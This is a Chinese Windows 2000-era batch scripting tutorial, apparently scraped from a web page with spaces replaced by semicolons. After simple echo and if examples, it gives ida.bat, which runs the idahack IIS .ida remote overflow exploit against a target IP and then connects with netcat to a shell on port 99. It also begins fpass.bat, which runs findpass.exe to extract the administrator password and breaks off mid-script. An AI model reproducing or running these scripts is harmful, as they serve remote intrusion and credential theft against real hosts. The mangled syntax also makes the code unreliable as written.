@echo;plese;care;1111;
@echo;plese;care;2222;
@echo;plese;care;3333;
rem;不显示注释语句,本行显示;
@rem;不显示注释语句,本行不显示;
@if;exist;%windir%/system32/find.exe;(echo;Find;find.exe;!!!);else;(echo;ERROR:;Not;find;find.exe);
@if;exist;%windir%/system32/fina.exe;(echo;Find;fina.exe;!!!);else;(echo;ERROR:;Not;find;fina.exe);
___________________________________________________________________________;
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.;
___________________ida.bat_________________________________________________;
@rem;ver;1.0;
@if;NOT;exist;%windir%/system32/idahack.exe;echo;"ERROR:;dont;find;idahack.exe"
@if;NOT;exist;%windir%/system32/nc.exe;echo;"ERROR:;dont;find;nc.exe"
@if;"%1";=="";goto;USAGE;
@if;NOT;"%2";=="";goto;SP2;
:start;
@echo;Now;start;...;
@ping;%1;
@echo;chinese;win2k:1;sp1:2;sp2:3;
idahack.exe;%1;80;1;99;>%temp%/_tmp;
@echo;"prog;exit;code;[%errorlevel%];idahack.exe"
@type;%temp%/_tmp;
@find;"good;luck;:)";%temp%/_tmp;
@echo;"prog;exit;code;[%errorlevel%];find;[goog;luck]"
@if;NOT;errorlevel;1;nc.exe;%1;99;
@goto;END;
:SP2;
@idahack.exe;%1;80;%2;99;%temp%/_tmp;
@type;%temp%/_tmp;
@find;"good;luck;:)";%temp%/_tmp;
@if;NOT;errorlevel;1;nc.exe;%1;99;
@goto;END;
:USAGE;
@echo;Example:;ida.bat;IP;
@echo;Example:;ida.bat;IP;(2,3);
:END;
_____________________ida.bat__END_________________________________;
下面我们再来第二个文件.就是得到administrator的口令.;
大多数人说得不到.其实是自己的没有输入正确的信息.;
___________________________fpass.bat____________________________________________;
@rem;ver;1.0;
@if;NOT;exist;%windir%/system32/findpass.exe;echo;"ERROR:;dont;find;findpass.exe"
@if;NOT;exist;%windir%/system32/pulist.exe;echo;"ERROR:;dont;find;pulist.exe"
@echo;start....;
@echo;____________________________________;
@if;"%1"=="";goto;USAGE;
@findpass.exe;%1;%2;%3;>>;%temp%/_findpass.txt;
@echo;"prog;exit;code;[%errorlevel%];findpass.exe"
@type;%temp%/_findpass.txt;
@echo;________________________________Here__pass
推荐阅读
- 教程/win2000 输入法学习之二:为Win2000添加五笔字型输入法
- 轻轻松松学习win2000注册表
- 防止电脑死机二十五招之Win2000篇
- 二 Win2000之DNS工具
- Win2000记事本的新功能
- Win2000系统信息
- Win2000之SNMP查询
- Win2000报告工具
- 优化Win2000网络速度之基本设置
- win2000终端机应用